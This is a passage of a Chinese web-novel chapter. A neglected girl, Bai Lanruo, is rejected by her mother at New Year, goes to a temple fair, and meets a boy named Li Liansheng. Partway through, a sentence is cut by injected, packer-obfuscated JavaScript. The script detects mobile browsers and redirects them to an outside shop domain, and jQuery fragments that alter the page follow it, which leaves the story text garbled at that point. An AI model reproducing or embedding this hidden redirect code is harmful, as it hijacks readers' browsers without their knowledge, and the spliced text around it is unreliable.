腊月的风像刀子一样，割在白兰若脸上，说不出来的疼。
按理说，大过年的日子，要做一身新衣裳来配，府上的千金和公子，叫得上号的，老爷都让裁缝量了尺寸。
唯独忘记了常年住在柴房的白兰若。
她冷得牙齿打颤，冷得手指僵硬，感觉自己跟着湖水化成了一块冰，怎么捂都是冷的。
天还没亮，她听见前院传来鞭炮声，噼里啪啦的，热闹得像另一个世界。
府上张灯结彩，大红灯笼从大门口一路挂到正厅，厨房里从早到晚都飘着肉香。
她闻了一整天，饿得独自咕咕叫，只能把稻草塞进嘴巴里嚼，嚼出一点点甜味，骗骗自己的胃。
她想出去，但不是为了讨吃的，是想看看母亲。
母亲姓柳，是府上的三姨娘，家道中落，十七岁那年生下她，本以为能生个儿子立稳脚跟，没想到是个女儿。
从那以后，父亲再没踏足过母亲的院子。
母亲把这一切都怪罪在她的头上，怪她不是个儿子，怪她让自己失了宠，每每看见她，眉毛都拧成一个疙瘩。
可白兰若还是想要讨她欢心。
她听说大年初一要给长辈拜年，晚辈要准备贺礼，可她没有钱，也没有值钱的东西。
想了很久，她终于想到一个办法。
她会写字。
是趴在书房窗户外头偷偷学的。
父亲请了老秀才给公子识字，她蹲在墙根底下，竖起耳朵听，一笔一划，用树枝在泥地里写了无数遍。
她想着给母亲写了一副帖子，最工整的字写最吉祥的话。母亲看了，也许会高兴一点，也许会对她和颜悦色一点。
灯油用完了，她借着月光，把一张皱巴巴的纸铺在地上，纸是她从书房的垃圾堆里翻出来的，大公子觉得这纸配不上他的身份，随便划拉两笔便丢了，她小心翼翼撕掉有墨痕的部分，留下一小块干净的地方。
没有笔，她就用烧过的碳条，一点点写。
她写得很慢，怕写错，怕字不好看，怕母亲嫌弃。
写完最后一个字，举起来对着月光看了看，用袖子把纸上的碳屑轻轻拂去，然后折成一个方胜，塞进怀里。
天刚蒙蒙亮，白兰若从柴房里出来，雪下了一夜，院子里积了厚厚一层，她脚上生了冻疮，每一步都走得艰难，却不敢停，怕去晚了，母亲就出门了。
柳姨娘的院子有一棵腊梅，花开得正盛，香气在冷空气里飘散，甜丝丝的，白兰若顾不上欣赏，站在门口踌躇了好一会儿。
她低头看了看自己，身上那件旧棉袄补丁叠着补丁，袖口磨得起了毛边，还短了一截，露出一截冻得发紫的手腕。
她忽然不敢进去了。
她这个样子，会不会让母亲觉得丢脸？会不会让母亲更加嫌弃她？
在门口正犹豫着，门忽然从里面打开了。
一个丫鬟端着铜盆出来，差点撞上她。
丫鬟看见她，一愣，然后皱起眉头问，“你怎么来了？大过年的，可别在这里碍眼。”
白兰若往后退了一步，低头从怀里掏出那张叠得整整齐齐的纸，双手捧着递过去，“麻烦姐姐，替我转交给母亲。”
丫鬟没接，嗤笑一声，“这是什么？这种破东西也好拿给姨娘？”
白兰若的脸一下子涨得通红，想把纸收起来，手却不听使唤，就这么举着，举在那里，像个傻子。
院子里传来一个不耐烦的声音，语气冰冷，“是谁在外面？”
白兰若的心猛地跳了一下，是母亲的声音，也许是刚起床的缘由，带着起床气，听着更让人心头发紧。
丫鬟回头应了一声，“姨娘，是那个……”她顿了顿，思考合适的措辞，“是柴房那个。”
一抬头，白兰若看见母亲站在门口，穿着一件毛茸茸的斗篷，目光从她脸上一路往下，淡淡地问，“你来做什么？”
白兰若张了张嘴，喉咙却像是被什么东西堵住了一样，一个字也说不出来，只是把那张纸举得更高了些，像是在献上她仅有的一切。
柳姨娘忽然笑了一下。
白兰若想，母亲笑了，母亲是不是在高兴？
下一瞬，柳姨娘伸出手，像拨开一只挡路的虫子一样，把那张纸从白兰若手里拨掉了。
纸掉在雪地上，很快被雪水浸湿，上面的字洇开成一团。
“回去吧。”柳姨娘说，紧接着门又关上了。
白兰若蹲下来，把纸从雪地里捡起来，小心翼翼地展开，上面的字果然看不清楚了。
全都白费了。
她把纸叠好，重新塞进怀里，纸是湿的，贴着皮肤，冻得她打了一个哆嗦。
又不是第一次被拒绝，下次她肯定会做得更好的，她在心里为自己加油打气。
路过厨房的时候，新来的厨娘看她可怜，给了她一块米糕。
米糕是温热的，烫得她几乎捧不住，可她没有松手，一松手，这点热气也散了。
蹲在厨房的角落，她小口小口地咬着米糕，不敢吃太快，怕吃完就没了。
好奇怪，米糕明明是甜的，吃到嘴里却是咸的。
厨娘端水出来倒，见她还在那里，给她倒了一碗热水，小声说，“大过年的，别哭，哭了不吉利。”
于是白兰若不发出声音，只是在那里安静地流眼泪。
厨娘忽然问，“东边的三太子庙，你知不知道？”
白兰若摇摇头。
她连府上的大门都很少出，哪里知道什么庙。
厨娘说那庙可灵验了，求什么应什么。前些年有个瘸子去拜了拜，回来就能走路了。
白兰若抬头看她，眼神里带着一丝好奇。
厨娘说得眉飞色舞，说每年腊月三十到正月初五，庙里办庙会，可热闹了，唱戏的、杂耍的、卖糖葫芦的、捏泥人的，什么都有。
白兰若舔了舔嘴唇，她吃过糖葫芦，是在梦里吃的，酸酸甜甜的。
厨娘还在说，说完吃的又说玩的，说庙门口有个摊子，猜灯谜赢了能得到一盏兔子灯，点了蜡烛放在里面，亮堂堂的，可漂亮了。
白兰若听着，眼睛也跟着亮了起来。
可她没有钱，想去也不能去。
厨娘像是看穿了她的心思，从围裙兜里掏出两枚铜钱放在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576901|203221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她手里。
她拍拍屁股站起身，用嘴型说，快回去吧，别让人看见了。
夜里，她躺在柴房的稻草堆上，翻来覆去睡不着觉，耳朵里全是庙会的热闹声。
虽然她没去过，但她可以想象，那些热闹的画面像皮影戏一样在脑海里重复播放，放了好几遍，她才终于睡着了。
翌日一早，府上的人都忙着拜年，白兰若从后门溜了出去。
跑了两条街，终于到了庙会。
庙会人山人海，小贩的吆喝声、孩童的嬉闹声、戏台的铜锣声搅在一起，热腾腾的，把她整个人都裹了进去。
白兰若站在那，眼睛都不够用了，她从来没有见过这么多人，这么多灯。
她攥紧袖子里的两枚铜钱，手心出了汗，铜钱被捂得温热，可她舍不得花，花掉了就没有了，她得找一个最值钱的东西。
糖葫芦插在稻草捆上，远远看去像一树红梅花。
白兰若忍不住咽口水，可她要是买了糖葫芦就不能买别的了，又转身往别处走。
前面一群人围着一个摊子，挤进去一看，是猜灯谜。
摊主是一个白胡子老头，笑吟吟地指着一盏兔子灯说，“谁猜中三个，这兔子灯就归谁。”
那盏兔子灯真好看，白纸糊的，画着红眼睛，肚子里点着一截短短的蜡烛，烛光把兔子的影子映得透亮，像是活的。
白兰若盯着那盏灯看了好一会儿，然后低着头挤出人群，她识字不多，怎么猜灯谜呢？
“小姑娘。”身后有人叫她。
她回过头，一个少年站在人群中，面容清俊，眉眼温和，手里还提着一盏兔子灯。
白兰若愣了一下，四下看了看，确认他叫的是自己。
“这个给你。”少年把兔子灯递过来。
白兰若没接，只是愣愣地看着他，她不认识他，从来没见过。
“我不要钱。”少年像是看穿了她的心思，把灯往前送了送，“我猜着玩的，丢了可惜，你拿着吧。”
白兰若接过那盏灯，看了看那个少年，忽然觉得他长得跟三太子庙的三太子神像有些相像。
她问他，“你叫什么名字？”
少年回她，“我叫李莲生。”
厨娘说得没错，三太子庙很灵验，她从前最渴望有一个朋友，可她什么都没说，三太子已经把朋友送到了她面前。
白兰若跟在他身后，发现他也是一个人，就更加心安理得地跟着他了。
逛着逛着，庙会也快要结束了。
几个孩子蹲在泥人摊前不肯走，被大人连哄带拽地拖走了。
白兰若还提着那盏兔子灯，里面的蜡烛快要燃尽了，火光一明一灭，像在打瞌睡。
她把灯举高了些，借着那最后一点光去看李莲生的脸。
“我要回去了。”她说，声音有些发闷。
李莲生点点头，没说话。
白兰若等了一会儿，见他没有要开口的意思，心里忽然有些着急，低着头用脚尖在地上画圈，画了一个又一个，画得地上的土都松了。
“你……”她的声音小得如同蚊蚋，“你还会来吗？”